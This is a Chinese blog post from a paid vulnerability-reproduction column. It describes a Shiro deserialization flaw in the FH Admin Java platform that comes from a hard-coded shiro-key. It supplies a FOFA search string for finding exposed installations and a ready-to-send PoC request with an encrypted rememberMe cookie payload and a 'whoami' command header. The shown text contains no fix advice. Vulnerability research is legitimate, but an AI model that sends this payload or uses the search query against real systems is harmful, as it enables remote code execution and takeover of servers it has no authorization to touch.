FH Admin Shiro反序列化漏洞复现

0xSecl

已于 2023-12-02 15:59:55 修改

阅读量1.4k

点赞数 9

CC 4.0 BY-SA版权

分类专栏：漏洞复现v1 文章标签：安全 web安全

于 2023-12-02 01:51:04 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/134746664

漏洞复现v1 专栏收录该内容

991 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了FH Admin CMS的Shiro反序列化漏洞，详细阐述了漏洞产生的原因，提供了复现环境及PoC，并给出修复建议。通过利用硬编码的shiro-key，攻击者能执行任意代码，获取服务器权限。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

FH Admin 是一款 java 快速开发平台。

0x02 漏洞概述

FH Admin CMS 存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。

0x03 复现环境

FOFA：app="FH-Admin"

0x04 漏洞复现

PoC

GET /appSysUser/registerSysUser.do HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
X-Token-Data: whoami
Cookie: rememberMe=RjI4NWNFQzBDZTVGNWNBM6ByNoG5jvpzbQqTkz2zP8GLkE05HSQI3cfp4VAgaPDcrRrjkpJu9jMhqPwCVC7PctiZQKqpVMs1MpWDU+QNSulwceEdncBKO8H/3euOC5R6IBRF

了解本专栏